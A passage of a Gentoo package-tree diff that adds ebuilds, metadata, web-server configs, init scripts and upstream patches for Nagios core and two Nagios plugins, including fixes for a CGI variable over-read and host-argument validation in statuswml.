diff --git a/net-analyzer/nagios-check_pidfile/metadata.xml b/net-analyzer/nagios-check_pidfile/metadata.xml
new file mode 100644
index 000000000000..c162eb10843a
--- /dev/null
+++ b/net-analyzer/nagios-check_pidfile/metadata.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>sdamashek@gentoo.org</email>
+ <name>Samuel Damashek</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <upstream>
+ <remote-id type="github">hollow/check_pidfile</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_pidfile/nagios-check_pidfile-1.ebuild b/net-analyzer/nagios-check_pidfile/nagios-check_pidfile-1.ebuild
new file mode 100644
index 000000000000..894a2e33825b
--- /dev/null
+++ b/net-analyzer/nagios-check_pidfile/nagios-check_pidfile-1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools
+
+DESCRIPTION="A nagios plugin for checking daemons via pidfiles"
+HOMEPAGE="https://github.com/hollow/check_pidfile"
+SRC_URI="https://github.com/hollow/check_pidfile/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=">=net-analyzer/nagios-plugins-1.4.13-r1"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"/check_pidfile-${PV}
+
+src_prepare() {
+ eautoreconf
+}
+
+src_install() {
+ emake DESTDIR="${D}" install
+}
diff --git a/net-analyzer/nagios-check_rbl/Manifest b/net-analyzer/nagios-check_rbl/Manifest
new file mode 100644
index 000000000000..706828e06a06
--- /dev/null
+++ b/net-analyzer/nagios-check_rbl/Manifest
@@ -0,0 +1,2 @@
+DIST check_rbl-1.3.0.tar.gz 32179 SHA256 c713dc226a9d56af6d51863c5f594f34c49227d8af48984085c8b3b137b2d247 SHA512 773610abc1b8521843353f7053e2ce7996fa3178087eb468f628c60d099f4a5658d47fef2b35867363fc9d4de30b849858f2e28f8c70a17baa30d07d7b9ebf2f WHIRLPOOL 7afe3d34333ebb2e79ac4214aefa47d6abe35b1585144ce6395eed686b348543ae4b46d00c9fbc1e0e35f5def8bc87e9b7c90a334600e55fa63bdd07247701a1
+DIST check_rbl-1.3.7.tar.gz 39385 SHA256 b9523db1d0895bb08ac34fb0d20c1a3ff53066fdfcccc62e980e1a9b2e30a9f7 SHA512 ceb00b41ef49ed9cc8f5c7eb8b3a994b59d88f486e5cdb821c842da5d92a091033a2294c642c55b449188fb434585606f024e734c8b7c9f0e655bf4baaba314e WHIRLPOOL 16b0e113f599eed8237423362372dd3afab0a8ab6710fee968586ee0b7b8cbca563b2ecc0fd089edb9e075da1e49ea4a06df74e2601c164fac60961bb47352d1
diff --git a/net-analyzer/nagios-check_rbl/metadata.xml b/net-analyzer/nagios-check_rbl/metadata.xml
new file mode 100644
index 000000000000..02495dc6cb8c
--- /dev/null
+++ b/net-analyzer/nagios-check_rbl/metadata.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>mjo@gentoo.org</email>
+ <name>Michael Orlitzky</name>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.0.ebuild b/net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.0.ebuild
new file mode 100644
index 000000000000..1929fd51afdb
--- /dev/null
+++ b/net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.0.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit multilib
+
+DESCRIPTION="check_rbl is a Nagios plugin that fails if a host is blacklisted"
+HOMEPAGE="https://svn.id.ethz.ch/projects/nagios_plugins/wiki/check_rbl"
+
+MY_P="${P/nagios-/}"
+
+SRC_URI="https://svn.id.ethz.ch/projects/nagios_plugins/downloads/${MY_P}.tar.gz"
+LICENSE="GPL-3"
+SLOT="0"
+
+KEYWORDS="amd64 hppa x86"
+IUSE=""
+
+# The Makefile.PL looks for Nagios::Plugin::Getopt and
+# Nagios::Plugin::Threshold, but I believe these are provided by
+# dev-perl/Nagios-Plugins.
+RDEPEND="dev-lang/perl
+ dev-perl/Nagios-Plugin
+ dev-perl/Net-DNS
+ dev-perl/Readonly"
+DEPEND="${RDEPEND}
+ virtual/perl-ExtUtils-MakeMaker"
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure() {
+ perl Makefile.PL INSTALLDIRS=vendor || die
+}
+
+src_install() {
+ default
+
+ local nagiosplugindir=/usr/$(get_libdir)/nagios/plugins
+ # move this aftertime as it's a bit strange otherwise
+ dodir "${nagiosplugindir}"
+ mv "${D}"/usr/bin/check_rbl "${D}"/"${nagiosplugindir}" || die
+}
diff --git a/net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.7.ebuild b/net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.7.ebuild
new file mode 100644
index 000000000000..c4a221771f3f
--- /dev/null
+++ b/net-analyzer/nagios-check_rbl/nagios-check_rbl-1.3.7.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib
+
+DESCRIPTION="check_rbl is a Nagios plugin that fails if a host is blacklisted"
+HOMEPAGE="https://svn.id.ethz.ch/projects/nagios_plugins/wiki/check_rbl"
+
+MY_P="${P/nagios-/}"
+
+SRC_URI="https://svn.id.ethz.ch/projects/nagios_plugins/downloads/${MY_P}.tar.gz"
+LICENSE="GPL-3"
+SLOT="0"
+
+KEYWORDS="~amd64 ~hppa"
+IUSE=""
+
+# The package's INSTALL/Makefile.PL files specify its dependencies.
+#
+# * Data::Validate::Domain (dev-perl/Data-Validate-Domain)
+# * Data::Validate::IP (dev-perl/Data-Validate-IP)
+# * IO::Select (dev-lang/perl)
+# * Monitoring::Plugin (dev-perl/Monitoring-Plugin)
+# * Monitoring::Plugin::Getopt (dev-perl/Monitoring-Plugin)
+# * Monitoring::Plugin::Threshold (dev-perl/Monitoring-Plugin)
+# * Net::DNS (dev-perl/Net-DNS)
+# * Readonly (dev-perl/Readonly)
+#
+RDEPEND="dev-lang/perl
+ dev-perl/Data-Validate-Domain
+ dev-perl/Data-Validate-IP
+ dev-perl/Monitoring-Plugin
+ dev-perl/Net-DNS
+ dev-perl/Readonly"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure() {
+ perl Makefile.PL INSTALLDIRS=vendor || die
+}
+
+src_install() {
+ default
+
+ local nagiosplugindir=/usr/$(get_libdir)/nagios/plugins
+ # move this aftertime as it's a bit strange otherwise
+ dodir "${nagiosplugindir}"
+ mv "${D}"/usr/bin/check_rbl "${D}"/"${nagiosplugindir}" || die
+}
diff --git a/net-analyzer/nagios-core/Manifest b/net-analyzer/nagios-core/Manifest
new file mode 100644
index 000000000000..7e3a9fdf9482
--- /dev/null
+++ b/net-analyzer/nagios-core/Manifest
@@ -0,0 +1,3 @@
+DIST nagios-3.5.1.tar.gz 1763584 SHA256 ca9dd68234fa090b3c35ecc8767b2c9eb743977eaf32612fa9b8341cc00a0f99 SHA512 48e2ecb91002b08203937b12a438c87c62cd3c5c401a0ed9e861cd6d79074c7017ed373e9379f013d87dea1fd7cb8e3d85112d55c87ac91aed96b256868c112d WHIRLPOOL 2c02584702c64dbb0e353e34b758fab079eee0dc7a401e7b5947a21733758d3596401e5519e2dd7f05c89ee4835c21965d2718157fd9d6d3d20af9c853d688ca
+DIST nagios-4.0.8.tar.gz 1805059 SHA256 8b268d250c97851775abe162f46f64724f95f367d752ae4630280cc5d368ca4b SHA512 d72fdbcc0beb2de72e5aa788b4ccc83aa30c7f4a4460edaa831f012db04647e4836b876bb7dc235e2a1b525827e9a2a0f4d348919f69fbfbfdaa4d13e968e18c WHIRLPOOL bdd9c63e0e495073b7b046952baa50b9e448fa56cda167806546a3b58fdd8fad328c9285ebb6d07da81786676d805671cad7295be389c4b8a4f3971264c97f74
+DIST nagios-core-gentoo-icons-20141125.tar 40960 SHA256 68b715f636eb291343cab3259862bbed8b6b898520b58df522438524de3d8761 SHA512 bf109879cddd6136b76baba55d0b60b2596e37431dcf5ce0905d34a9fa292ebf7e4bde82d9a084362c486e8fac344c76d88f9298b1b85541ed70ffd608493766 WHIRLPOOL 7ec3a944b2a659b456d3168818ca5b1af3a427436e6af2f3e5d6cba6fc7b1c7bad6f552301f064df31988865b3b32fd117d9e6f61c630d6d817a51cbbbcb331d
diff --git a/net-analyzer/nagios-core/files/99_nagios3.conf b/net-analyzer/nagios-core/files/99_nagios3.conf
new file mode 100644
index 000000000000..074f9ce5e4a9
--- /dev/null
+++ b/net-analyzer/nagios-core/files/99_nagios3.conf
@@ -0,0 +1,15 @@
+<IfDefine NAGIOS>
+ ScriptAlias /nagios/cgi-bin/ /usr/lib/nagios/cgi-bin/
+ <Directory "/usr/lib/nagios/cgi-bin/">
+ AllowOverride AuthConfig
+ Options ExecCGI
+ Order allow,deny
+ Allow from all
+ </Directory>
+ Alias /nagios /usr/share/nagios/htdocs
+ <Directory "/usr/share/nagios/htdocs">
+ AllowOverride AuthConfig
+ Order allow,deny
+ Allow from all
+ </Directory>
+</IfDefine>
diff --git a/net-analyzer/nagios-core/files/99_nagios4.conf b/net-analyzer/nagios-core/files/99_nagios4.conf
new file mode 100644
index 000000000000..b04c2980ebab
--- /dev/null
+++ b/net-analyzer/nagios-core/files/99_nagios4.conf
@@ -0,0 +1,16 @@
+<IfDefine NAGIOS>
+
+ ScriptAlias /nagios/cgi-bin/ /usr/lib/nagios/cgi-bin/
+ <Directory "/usr/lib/nagios/cgi-bin/">
+ AllowOverride AuthConfig
+ Options ExecCGI
+ Require all granted
+ </Directory>
+
+ Alias /nagios /usr/share/nagios/htdocs
+ <Directory "/usr/share/nagios/htdocs">
+ AllowOverride AuthConfig
+ Require all granted
+ </Directory>
+
+</IfDefine>
diff --git a/net-analyzer/nagios-core/files/conf.d b/net-analyzer/nagios-core/files/conf.d
new file mode 100644
index 000000000000..4fd852e5fb80
--- /dev/null
+++ b/net-analyzer/nagios-core/files/conf.d
@@ -0,0 +1,10 @@
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# Distributed monitoring users will want to configure here the ip/hostname of the central server.
+# It will be used by submit_check_result_via_nsca.
+NAGIOS_NSCA_HOST="localhost"
+
+
+
diff --git a/net-analyzer/nagios-core/files/fix-bogus-perf-data-warnings.patch b/net-analyzer/nagios-core/files/fix-bogus-perf-data-warnings.patch
new file mode 100644
index 000000000000..8f589e8013b7
--- /dev/null
+++ b/net-analyzer/nagios-core/files/fix-bogus-perf-data-warnings.patch
@@ -0,0 +1,32 @@
+Patch submitted upstream at,
+
+ http://tracker.nagios.org/view.php?id=534
+
+by user ovidiu_stanila. Confirmed to work by at least one other user,
+travissidelinger. Applied to fix Gentoo bug #530640.
+
+diff --git a/base/workers.c b/base/workers.c
+index 881e434..d1e1f8d 100644
+--- a/base/workers.c
++++ b/base/workers.c
+@@ -285,6 +285,8 @@ static void destroy_job(struct wproc_job *job)
+ case WPJOB_SVC_EVTHANDLER:
+ case WPJOB_GLOBAL_HOST_EVTHANDLER:
+ case WPJOB_HOST_EVTHANDLER:
++ case WPJOB_HOST_PERFDATA:
++ case WPJOB_SVC_PERFDATA:
+ /* these require nothing special */
+ break;
+ case WPJOB_CALLBACK:
+@@ -763,6 +765,11 @@ static int handle_worker_result(int sd, int events, void *arg)
+ run_job_callback(job, &wpres, 0);
+ break;
+
++ case WPJOB_HOST_PERFDATA:
++ case WPJOB_SVC_PERFDATA:
++ /* these require nothing special */
++ break;
++
+ default:
+ logit(NSLOG_RUNTIME_WARNING, TRUE, "Worker %d: Unknown jobtype: %d\n", wp->pid, job->type);
+ break;
diff --git a/net-analyzer/nagios-core/files/lighttpd_nagios3-r1.conf b/net-analyzer/nagios-core/files/lighttpd_nagios3-r1.conf
new file mode 100644
index 000000000000..6e2577029aca
--- /dev/null
+++ b/net-analyzer/nagios-core/files/lighttpd_nagios3-r1.conf
@@ -0,0 +1,24 @@
+server.modules += ("mod_cgi")
+server.modules += ("mod_auth")
+server.modules += ("mod_alias")
+
+auth.require += ( "/nagios" =>
+ (
+ "method" => "digest",
+ "realm" => "nagios",
+ "require" => "valid-user"
+ )
+)
+
+$HTTP["url"] =~ "^/nagios/cgi-bin/" {
+ dir-listing.activate = "disable"
+ cgi.assign = (
+ ".pl" => "/usr/bin/perl",
+ ".cgi" => ""
+ )
+}
+
+alias.url += (
+ "/nagios/cgi-bin" => "/usr/lib/nagios/cgi-bin",
+ "/nagios" => "/usr/share/nagios/htdocs"
+)
diff --git a/net-analyzer/nagios-core/files/lighttpd_nagios4.conf b/net-analyzer/nagios-core/files/lighttpd_nagios4.conf
new file mode 100644
index 000000000000..a073f177f238
--- /dev/null
+++ b/net-analyzer/nagios-core/files/lighttpd_nagios4.conf
@@ -0,0 +1,15 @@
+server.modules += ("mod_cgi")
+server.modules += ("mod_alias")
+
+$HTTP["url"] =~ "^/nagios/cgi-bin/" {
+ dir-listing.activate = "disable"
+ cgi.assign = (
+ ".pl" => "/usr/bin/perl",
+ ".cgi" => ""
+ )
+}
+
+alias.url += (
+ "/nagios/cgi-bin" => "/usr/lib/nagios/cgi-bin",
+ "/nagios" => "/usr/share/nagios/htdocs"
+)
diff --git a/net-analyzer/nagios-core/files/nagios b/net-analyzer/nagios-core/files/nagios
new file mode 100644
index 000000000000..057112257619
--- /dev/null
+++ b/net-analyzer/nagios-core/files/nagios
@@ -0,0 +1,57 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+opts="${opts} reload checkconfig"
+
+depend() {
+ need net
+ use dns logger firewall
+ after mysql postgresql
+}
+
+reload()
+{
+ checkconfig || return 1
+ ebegin "Reloading configuration"
+ killall -HUP nagios &>/dev/null
+ eend $?
+}
+
+checkconfig() {
+ # Silent Check
+ /usr/nagios/bin/nagios -v /etc/nagios/nagios.cfg &>/dev/null && return 0
+
+ # Now we know there's problem - run again and display errors
+ /usr/nagios/bin/nagios -v /etc/nagios/nagios.cfg
+ eend $? "Configuration Error. Please fix your configfile"
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting nagios"
+ touch /var/nagios/nagios.log /var/nagios/status.sav
+ chown nagios:nagios /var/nagios/nagios.log /var/nagios/status.sav
+ rm -f /var/nagios/rw/nagios.cmd
+ start-stop-daemon --quiet --start --startas /usr/nagios/bin/nagios \
+ -e HOME="/var/nagios/home" --pidfile /var/nagios/nagios.lock \
+ -- -d /etc/nagios/nagios.cfg
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping nagios"
+ start-stop-daemon --quiet --stop --pidfile /var/nagios/nagios.lock
+ rm -f /var/nagios/status.log /var/nagios/nagios.tmp /var/nagios/nagios.lock /var/nagios/rw/nagios.cmd
+ eend $?
+}
+
+svc_restart() {
+ checkconfig || return 1
+ ebegin "Restarting nagios"
+ svc_stop
+ svc_start
+ eend $?
+}
+
diff --git a/net-analyzer/nagios-core/files/nagios-3.3.1-htmlmakefile.patch b/net-analyzer/nagios-core/files/nagios-3.3.1-htmlmakefile.patch
new file mode 100644
index 000000000000..c033c9843c10
--- /dev/null
+++ b/net-analyzer/nagios-core/files/nagios-3.3.1-htmlmakefile.patch
@@ -0,0 +1,14 @@
+--- html/Makefile.in.orig 2011-07-27 16:06:58.000000000 +0200
++++ html/Makefile.in 2011-07-27 16:07:10.000000000 +0200
+@@ -75,9 +75,9 @@
+ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/images/logos; done
+ for file in includes/*.*; \
+ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/includes; done
+- for file in includes/rss/*; \
++ for file in includes/rss/*.*; \
+ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/includes/rss; done
+- for file in includes/rss/extlib/*; \
++ for file in includes/rss/extlib/*.*; \
+ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/includes/rss/extlib; done
+
+ install-unstripped:
diff --git a/net-analyzer/nagios-core/files/nagios-core-3.5.1-process_cgivars.patch b/net-analyzer/nagios-core/files/nagios-core-3.5.1-process_cgivars.patch
new file mode 100644
index 000000000000..9d9536747794
--- /dev/null
+++ b/net-analyzer/nagios-core/files/nagios-core-3.5.1-process_cgivars.patch
@@ -0,0 +1,175 @@
+commit d97e03f32741a7d851826b03ed73ff4c9612a866
+Author: Eric Stanley <estanley@nagios.com>
+Date: Fri Dec 20 13:14:30 2013 -0600
+
+ CGIs: Fixed minor vulnerability where a custom query could crash the CGI.
+
+ Most CGIs previously incremented the input variable counter twice when
+ it encountered a long key value. This could cause the CGI to read past
+ the end of the list of CGI variables. This commit removes the second
+ increment, removing the possibility of reading past the end of the list
+ of CGI variables.
+
+diff --git a/cgi/avail.c b/cgi/avail.c
+index 76afd86..64eaadc 100644
+--- a/cgi/avail.c
++++ b/cgi/avail.c
+@@ -1096,7 +1096,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/cmd.c b/cgi/cmd.c
+index fa6cf5a..50504eb 100644
+--- a/cgi/cmd.c
++++ b/cgi/cmd.c
+@@ -311,7 +311,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/config.c b/cgi/config.c
+index f061b0f..3360e70 100644
+--- a/cgi/config.c
++++ b/cgi/config.c
+@@ -344,7 +344,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/extinfo.c b/cgi/extinfo.c
+index 62a1b18..5113df4 100644
+--- a/cgi/extinfo.c
++++ b/cgi/extinfo.c
+@@ -591,7 +591,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/histogram.c b/cgi/histogram.c
+index 4616541..f6934d0 100644
+--- a/cgi/histogram.c
++++ b/cgi/histogram.c
+@@ -1060,7 +1060,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/notifications.c b/cgi/notifications.c
+index 8ba11c1..461ae84 100644
+--- a/cgi/notifications.c
++++ b/cgi/notifications.c
+@@ -327,7 +327,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/outages.c b/cgi/outages.c
+index 426ede6..cb58dee 100644
+--- a/cgi/outages.c
++++ b/cgi/outages.c
+@@ -225,7 +225,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/status.c b/cgi/status.c
+index 3253340..4ec1c92 100644
+--- a/cgi/status.c
++++ b/cgi/status.c
+@@ -567,7 +567,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/statusmap.c b/cgi/statusmap.c
+index ea48368..2580ae5 100644
+--- a/cgi/statusmap.c
++++ b/cgi/statusmap.c
+@@ -400,7 +400,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/statuswml.c b/cgi/statuswml.c
+index bd8cea2..d25abef 100644
+--- a/cgi/statuswml.c
++++ b/cgi/statuswml.c
+@@ -226,8 +226,13 @@ int process_cgivars(void) {
+
+ for(x = 0; variables[x] != NULL; x++) {
+
++ /* do some basic length checking on the variable identifier to prevent buffer overflows */
++ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
++ continue;
++ }
++
+ /* we found the hostgroup argument */
+- if(!strcmp(variables[x], "hostgroup")) {
++ else if(!strcmp(variables[x], "hostgroup")) {
+ display_type = DISPLAY_HOSTGROUP;
+ x++;
+ if(variables[x] == NULL) {
+diff --git a/cgi/summary.c b/cgi/summary.c
+index 126ce5e..749a02c 100644
+--- a/cgi/summary.c
++++ b/cgi/summary.c
+@@ -725,7 +725,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/cgi/trends.c b/cgi/trends.c
+index b35c18e..895db01 100644
+--- a/cgi/trends.c
++++ b/cgi/trends.c
+@@ -1263,7 +1263,6 @@ int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+
+diff --git a/contrib/daemonchk.c b/contrib/daemonchk.c
+index 78716e5..9bb6c4b 100644
+--- a/contrib/daemonchk.c
++++ b/contrib/daemonchk.c
+@@ -174,7 +174,6 @@ static int process_cgivars(void) {
+
+ /* do some basic length checking on the variable identifier to prevent buffer overflows */
+ if(strlen(variables[x]) >= MAX_INPUT_BUFFER - 1) {
+- x++;
+ continue;
+ }
+ }
diff --git a/net-analyzer/nagios-core/files/nagios3 b/net-analyzer/nagios-core/files/nagios3
new file mode 100644
index 000000000000..04714cc0f9fa
--- /dev/null
+++ b/net-analyzer/nagios-core/files/nagios3
@@ -0,0 +1,53 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_commands="checkconfig"
+extra_started_commands="reload"
+
+nagios_config="/etc/nagios/nagios.cfg"
+nagios_cmdfile="/var/nagios/rw/nagios.cmd"
+
+command="/usr/sbin/nagios"
+command_args="-d ${nagios_config}"
+pidfile="/var/nagios/nagios.lock"
+start_stop_daemon_args="-e HOME=/var/nagios/home"
+
+depend() {
+ need net
+ use dns logger firewall
+ after mysql postgresql
+}
+
+reload()
+{
+ checkconfig || return 1
+ ebegin "Reloading configuration"
+ start-stop-daemon --signal HUP --pidfile ${pidfile}
+ eend $?
+}
+
+checkconfig() {
+ ebegin "Verifying config files"
+
+ # Silent Check
+ /usr/sbin/nagios -v ${nagios_config} &>/dev/null && return 0
+
+ # Now we know there's problem - run again and display errors
+ /usr/sbin/nagios -v ${nagios_config}
+ eend $? "Configuration Error. Please fix your configfile"
+}
+
+start_pre() {
+ checkconfig || return 1
+
+ touch /var/nagios/nagios.log /var/nagios/status.sav
+ chown nagios:nagios /var/nagios/nagios.log /var/nagios/status.sav
+ rm -f ${nagios_cmdfile}
+}
+
+stop_post() {
+ rm -f /var/nagios/status.log /var/nagios/nagios.tmp ${pidfile} \
+ ${nagios_cmdfile}
+}
diff --git a/net-analyzer/nagios-core/files/nagios4 b/net-analyzer/nagios-core/files/nagios4
new file mode 100644
index 000000000000..5bc359c6d25a
--- /dev/null
+++ b/net-analyzer/nagios-core/files/nagios4
@@ -0,0 +1,52 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_commands="checkconfig"
+extra_started_commands="reload"
+
+nagios_config="/etc/nagios/nagios.cfg"
+nagios_cmdfile="/var/nagios/rw/nagios.cmd"
+
+command="/usr/sbin/nagios"
+command_args="-d ${nagios_config}"
+pidfile="/var/nagios/nagios.lock"
+start_stop_daemon_args="-e HOME=/var/nagios/home"
+
+depend(){
+ need net
+ use dns logger firewall
+ after mysql postgresql
+}
+
+reload(){
+ checkconfig || return 1
+ ebegin "Reloading configuration"
+ start-stop-daemon --signal HUP --pidfile ${pidfile}
+ eend $?
+}
+
+checkconfig(){
+ ebegin "Verifying config files"
+
+ # Silent Check
+ /usr/sbin/nagios -v ${nagios_config} > /dev/null 2>&1 && return 0
+
+ # Now we know there's problem - run again and display errors
+ /usr/sbin/nagios -v ${nagios_config}
+ eend $? "Configuration Error. Please fix your config file."
+}
+
+start_pre() {
+ checkconfig || return 1
+
+ touch /var/nagios/nagios.log /var/nagios/status.sav
+ chown nagios:nagios /var/nagios/nagios.log /var/nagios/status.sav
+ rm -f ${nagios_cmdfile}
+}
+
+stop_post() {
+ rm -f /var/nagios/status.log /var/nagios/nagios.tmp ${pidfile} \
+ ${nagios_cmdfile}
+}
diff --git a/net-analyzer/nagios-core/files/statuswml-bug275288.patch b/net-analyzer/nagios-core/files/statuswml-bug275288.patch
new file mode 100644
index 000000000000..8b9a0200e148
--- /dev/null
+++ b/net-analyzer/nagios-core/files/statuswml-bug275288.patch
@@ -0,0 +1,51 @@
+--- cgi/statuswml.c 2008/11/30 18:13:11 1.27
++++ cgi/statuswml.c 2009/06/19 04:30:26 1.28
+@@ -67,6 +67,8 @@
+ void document_header(void);
+ void document_footer(void);
+ int process_cgivars(void);
++int validate_arguments(void);
++int is_valid_hostip(char *hostip);
+
+ int display_type=DISPLAY_INDEX;
+ int hostgroup_style=DISPLAY_HOSTGROUP_SUMMARY;
+@@ -108,6 +110,13 @@
+
+ document_header();
+
++ /* validate arguments in URL */
++ result=validate_arguments();
++ if(result==ERROR){
++ document_footer();
++ return ERROR;
++ }
++
+ /* read the CGI configuration file */
+ result=read_cgi_config_file(get_cgi_config_location());
+ if(result==ERROR){
+@@ -334,7 +343,25 @@
+ return error;
+ }
+
++int validate_arguments(void){
++ int result=OK;
++ if((strcmp(ping_address,"")) && !is_valid_hostip(ping_address)) {
++ printf("<p>Invalid host name/ip</p>\n");
++ result=ERROR;
++ }
++ if(strcmp(traceroute_address,"") && !is_valid_hostip(traceroute_address)){
++ printf("<p>Invalid host name/ip</p>\n");
++ result=ERROR;
++ }
++ return result;
++ }
+
++int is_valid_hostip(char *hostip) {
++ char *valid_domain_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-";
++ if(strcmp(hostip,"") && strlen(hostip)==strspn(hostip,valid_domain_chars) && hostip[0] != '-' && hostip[strlen(hostip)-1] != '-')
++ return TRUE;
++ return FALSE;
++ }
+
+ /* main intro screen */
+ void display_index(void){
diff --git a/net-analyzer/nagios-core/files/use-INSTALL-to-install-themes.patch b/net-analyzer/nagios-core/files/use-INSTALL-to-install-themes.patch
new file mode 100644
index 000000000000..a852430e74b6
--- /dev/null
+++ b/net-analyzer/nagios-core/files/use-INSTALL-to-install-themes.patch
@@ -0,0 +1,59 @@
+From 26bef86bad804836babd9d99accfc247eb744132 Mon Sep 17 00:00:00 2001
+From: Michael Orlitzky <michael@orlitzky.com>
+Date: Wed, 12 Nov 2014 08:35:28 -0500
+Subject: [PATCH 1/1] Use $(INSTALL) to install themes.
+
+Most of the images installed under the htdocs folder are installed
+mode 644 with owner:group nagios:nagios. This is due to the use of
+$(INSTALL) in html/Makefile. However, the theme images and stylesheets
+are currently installed with a simple "cp -r", which leads to
+inconsistencies like the following:
+
+ $ cd /usr/share/nagios/htdocs/images
+ $ ls action*.gif
+ -rw-rw-r-- 1 nagios nagios 1.3K 2014-11-12 08:22 action.gif
+ -rw-r--r-- 1 root root 1.3K 2014-11-12 08:22 action-graph.gif
+ -rw-r--r-- 1 root root 171 2014-11-12 08:22 action-nagios.gif
+ -rw-r--r-- 1 root root 162 2014-11-12 08:22 action-orig.gif
+
+By using $(INSTALL) in the install-exfoliation and install-classicui
+targets, we enforce some consistency.
+---
+ Makefile.in | 14 ++++++++++----
+ 1 file changed, 10 insertions(+), 4 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index 1341160..67e1502 100644
+--- a/Makefile.in
++++ b/Makefile.in
